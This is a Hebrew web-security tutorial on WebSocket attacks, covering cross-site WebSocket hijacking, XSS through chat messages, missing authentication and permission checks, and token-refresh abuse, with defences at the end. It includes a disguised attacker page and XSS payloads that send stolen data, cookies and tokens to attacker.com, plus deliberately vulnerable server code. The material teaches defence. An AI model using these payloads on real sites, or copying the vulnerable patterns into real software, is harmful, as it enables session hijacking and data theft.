לדלג לתוכן

תקיפת WebSockets - WebSocket Attacks

סקירת פרוטוקול WebSocket

WebSocket מספק ערוץ תקשורת דו-כיווני (full-duplex) מתמשך בין דפדפן לשרת. בניגוד ל-HTTP שעובד במודל בקשה-תגובה, WebSocket מאפשר לשני הצדדים לשלוח הודעות בכל זמן.

תהליך Handshake

החיבור מתחיל בבקשת HTTP upgrade:

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
Cookie: session=abc123

תגובת השרת:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

לאחר ה-handshake, החיבור עובר ל-WebSocket protocol ושני הצדדים יכולים לשלוח frames.

שימוש בסיסי ב-JavaScript

// create the connection
let ws = new WebSocket('wss://example.com/chat');

// events
ws.onopen = function() {
  console.log('Connected');
  ws.send(JSON.stringify({ type: 'join', room: 'general' }));
};

ws.onmessage = function(event) {
  let data = JSON.parse(event.data);
  console.log('Received:', data);
};

ws.onerror = function(error) {
  console.error('WebSocket error:', error);
};

ws.onclose = function(event) {
  console.log('Disconnected:', event.code, event.reason);
};

חטיפת WebSocket בין אתרים - CSWSH

Cross-Site WebSocket Hijacking (CSWSH) מנצל את העובדה ש-WebSocket handshake מבוצע כבקשת HTTP, ועוגיות נשלחות אוטומטית. אם השרת לא בודק את header Origin, תוקף יכול ליצור חיבור WebSocket מדף שלו באמצעות ה-session של הקורבן.

שרת WebSocket פגיע

const WebSocket = require('ws');
const http = require('http');

const server = http.createServer();
const wss = new WebSocket.Server({ server });

wss.on('connection', function(ws, req) {
  // vulnerable! no Origin check
  let cookies = parseCookies(req.headers.cookie);
  let session = getSession(cookies.session);

  if (!session) {
    ws.close();
    return;
  }

  ws.user = session.user;

  ws.on('message', function(message) {
    let data = JSON.parse(message);

    switch (data.type) {
      case 'getMessages':
        let messages = db.getMessages(ws.user.id);
        ws.send(JSON.stringify({ type: 'messages', data: messages }));
        break;

      case 'sendMessage':
        db.saveMessage(ws.user.id, data.content);
        broadcast(data.content, ws.user.name);
        break;

      case 'getProfile':
        let profile = db.getProfile(ws.user.id);
        ws.send(JSON.stringify({ type: 'profile', data: profile }));
        break;
    }
  });
});

server.listen(8080);

דף תוקף ל-CSWSH

<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
  <h1>Loading your prize...</h1>
  <script>
    // connect to the victim's server - the victim's cookies are sent automatically
    let ws = new WebSocket('wss://vulnerable.com/chat');

    ws.onopen = function() {
      console.log('[+] Connected with victim session');

      // stealing messages
      ws.send(JSON.stringify({ type: 'getMessages' }));

      // stealing profile
      ws.send(JSON.stringify({ type: 'getProfile' }));
    };

    ws.onmessage = function(event) {
      let data = JSON.parse(event.data);
      console.log('[+] Stolen data:', data);

      // sending to the attacker's server
      fetch('https://attacker.com/collect', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: event.data
      });
    };
  </script>
</body>
</html>

הinjection ומניפולציה של הודעות WebSocket

הinjection הודעות - XSS דרך WebSocket

כאשר הודעות WebSocket מוצגות בדף ללא sanitization:

// vulnerable client code
ws.onmessage = function(event) {
  let data = JSON.parse(event.data);

  if (data.type === 'chat') {
    let messageDiv = document.createElement('div');
    messageDiv.innerHTML = data.message; // XSS!
    document.getElementById('chat').appendChild(messageDiv);
  }
};

הinjection XSS דרך הודעת צ'אט:

ws.send(JSON.stringify({
  type: 'sendMessage',
  content: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
}));

מניפולציה של הודעות עם Burp Suite

ניתן ליירט ולשנות הודעות WebSocket דרך Burp:

1. Open Burp Suite
2. Go to Proxy -> WebSockets history
3. Click on a message -> Send to Repeater
4. Change the message content
5. Send

דוגמה לשינוי הודעה:

// original message
{"type": "transfer", "amount": 100, "to": "user123"}

// modified message
{"type": "transfer", "amount": 100000, "to": "attacker456"}

בעיות אימות ב-WebSockets

אימות מבוסס עוגיות בלבד

// vulnerable server - authentication only at handshake
wss.on('connection', function(ws, req) {
  let session = getSessionFromCookie(req.headers.cookie);
  ws.user = session.user;

  // no additional authentication on messages!
  ws.on('message', function(message) {
    let data = JSON.parse(message);
    // performs actions on behalf of ws.user without further authentication
    handleAction(ws.user, data);
  });
});

חוסר בהרשאות ברמת הודעה

// vulnerable server - no permission check
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'adminAction') {
    // no check whether the user is admin!
    performAdminAction(data);
  }

  if (data.type === 'deleteUser') {
    // no check whether there's permission to delete
    db.deleteUser(data.userId);
  }
});

אימות מבוסס טוקן

// improved server - authentication with a token
wss.on('connection', function(ws, req) {
  let authenticated = false;

  ws.on('message', function(message) {
    let data = JSON.parse(message);

    if (data.type === 'auth') {
      let user = verifyToken(data.token);
      if (user) {
        authenticated = true;
        ws.user = user;
        ws.send(JSON.stringify({ type: 'auth_success' }));
      } else {
        ws.close(4001, 'Invalid token');
      }
      return;
    }

    if (!authenticated) {
      ws.close(4001, 'Not authenticated');
      return;
    }

    // handling messages only for authenticated users
    handleMessage(ws.user, data);
  });
});

הבעיה - הטוקן נשלח בהודעה ראשונה ואז נשמר ב-memory. אם תוקף מחליף session:

// attacker sends a stolen token
ws.onopen = function() {
  ws.send(JSON.stringify({
    type: 'auth',
    token: stolenToken
  }));
};

דליפת מידע דרך WebSocket

הודעות עם מידע רגיש

// server that sends more data than needed
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'getUser') {
    let user = db.getUser(data.userId);
    // sends the entire object including sensitive data!
    ws.send(JSON.stringify({
      type: 'user',
      data: user // includes password hash, email, phone, etc.
    }));
  }
});

ניטור WebSocket traffic

// monitoring script that runs in the console
(function() {
  let originalSend = WebSocket.prototype.send;
  WebSocket.prototype.send = function(data) {
    console.log('[WS SEND]', data);
    return originalSend.call(this, data);
  };

  let originalOnMessage = Object.getOwnPropertyDescriptor(
    WebSocket.prototype, 'onmessage'
  );

  Object.defineProperty(WebSocket.prototype, 'onmessage', {
    set: function(handler) {
      let wrappedHandler = function(event) {
        console.log('[WS RECV]', event.data);
        return handler.call(this, event);
      };
      originalOnMessage.set.call(this, wrappedHandler);
    }
  });
})();

XSS מבוסס WebSocket

הinjection סקריפט דרך WebSocket

// vulnerable chat server
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'chat') {
    // broadcasts the message to everyone connected
    wss.clients.forEach(function(client) {
      if (client.readyState === WebSocket.OPEN) {
        client.send(JSON.stringify({
          type: 'chat',
          user: ws.user.name,
          message: data.message // no sanitization!
        }));
      }
    });
  }
});

// vulnerable client
ws.onmessage = function(event) {
  let data = JSON.parse(event.data);
  if (data.type === 'chat') {
    let chatBox = document.getElementById('chat');
    chatBox.innerHTML += `<b>${data.user}:</b> ${data.message}<br>`; // XSS!
  }
};

שליחת הודעת XSS:

ws.send(JSON.stringify({
  type: 'chat',
  message: '<img src=x onerror="new Image().src=\'https://attacker.com/steal?\'+document.cookie">'
}));

הexploit חיבור מחדש וריענון טוקנים

race condition בהתחברות מחדש

// client that reconnects automatically
function connect() {
  let ws = new WebSocket('wss://example.com/chat');

  ws.onclose = function() {
    // reconnects after 3 seconds
    setTimeout(connect, 3000);
  };

  ws.onopen = function() {
    // sends the auth token
    ws.send(JSON.stringify({
      type: 'auth',
      token: localStorage.getItem('authToken')
    }));
  };
}

אם התוקף מצליח לשנות את localStorage.authToken (דרך XSS, prototype pollution, וכו'), ההתחברות מחדש תשתמש בטוקן של התוקף.

הexploit token refresh

// server that refreshes tokens via WebSocket
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'refreshToken') {
    let newToken = generateToken(ws.user);
    ws.send(JSON.stringify({
      type: 'newToken',
      token: newToken
    }));
  }
});

תוקף עם CSWSH יכול לבקש טוקן חדש עבור הקורבן:

// attacker's page
let ws = new WebSocket('wss://vulnerable.com/chat');
ws.onopen = function() {
  ws.send(JSON.stringify({ type: 'refreshToken' }));
};
ws.onmessage = function(event) {
  let data = JSON.parse(event.data);
  if (data.type === 'newToken') {
    // stealing the new token
    fetch('https://attacker.com/steal?token=' + data.token);
  }
};

שרת WebSocket פגיע - קוד מלא

const WebSocket = require('ws');
const http = require('http');
const express = require('express');

const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });

// no Origin check!
wss.on('connection', function(ws, req) {
  let cookies = parseCookies(req.headers.cookie || '');
  let session = sessions[cookies.session];

  if (!session) {
    ws.close(4001, 'Unauthorized');
    return;
  }

  ws.user = session.user;
  ws.isAlive = true;

  ws.on('message', function(message) {
    try {
      let data = JSON.parse(message);

      switch (data.action) {
        case 'chat':
          // vulnerable - XSS
          broadcast({
            action: 'chat',
            user: ws.user.name,
            message: data.message // no sanitization
          });
          break;

        case 'getHistory':
          // vulnerable - no room permission check
          let history = db.getChatHistory(data.room);
          ws.send(JSON.stringify({ action: 'history', data: history }));
          break;

        case 'privateMessage':
          // vulnerable - no validation
          let target = findUser(data.targetUser);
          if (target) {
            target.send(JSON.stringify({
              action: 'privateMessage',
              from: ws.user.name,
              message: data.message
            }));
          }
          break;

        case 'updateProfile':
          // vulnerable - mass assignment
          Object.assign(ws.user, data.profile);
          db.updateUser(ws.user);
          break;
      }
    } catch (e) {
      ws.send(JSON.stringify({ error: e.message })); // vulnerable - exposes errors
    }
  });
});

function broadcast(data) {
  let msg = JSON.stringify(data);
  wss.clients.forEach(client => {
    if (client.readyState === WebSocket.OPEN) {
      client.send(msg);
    }
  });
}

server.listen(8080);

הגנה

ולידציית Origin ב-handshake

const ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com'];

wss.on('connection', function(ws, req) {
  let origin = req.headers.origin;
  if (!ALLOWED_ORIGINS.includes(origin)) {
    ws.close(4003, 'Origin not allowed');
    return;
  }
  // ...
});

אימות חיבורי WebSocket

wss.on('connection', function(ws, req) {
  // authenticate with a token in the URL (goes over TLS)
  let url = new URL(req.url, 'wss://example.com');
  let token = url.searchParams.get('token');

  let user = verifyJWT(token);
  if (!user) {
    ws.close(4001, 'Invalid token');
    return;
  }

  ws.user = user;
});

ולידציית פורמט הודעות

const Joi = require('joi');

const messageSchema = Joi.object({
  action: Joi.string().valid('chat', 'getHistory', 'privateMessage').required(),
  message: Joi.string().max(1000).optional(),
  room: Joi.string().alphanum().max(50).optional(),
  targetUser: Joi.string().alphanum().max(50).optional()
});

ws.on('message', function(message) {
  try {
    let data = JSON.parse(message);
    let { error, value } = messageSchema.validate(data);

    if (error) {
      ws.send(JSON.stringify({ error: 'Invalid message format' }));
      return;
    }

    handleValidMessage(ws, value);
  } catch (e) {
    ws.send(JSON.stringify({ error: 'Invalid JSON' }));
  }
});

סיכום

תקיפות WebSocket מנצלות את העובדה שהפרוטוקול לא מספק הגנות מובנות כמו CSRF tokens או SOP. חטיפת WebSocket בין אתרים (CSWSH) היא התקיפה הנפוצה ביותר, וניתן למנוע אותה על ידי ולידציית Origin. בנוסף, יש להקפיד על sanitization של הודעות, אימות ברמת הודעה (לא רק ב-handshake), ובקרת הרשאות לכל פעולה.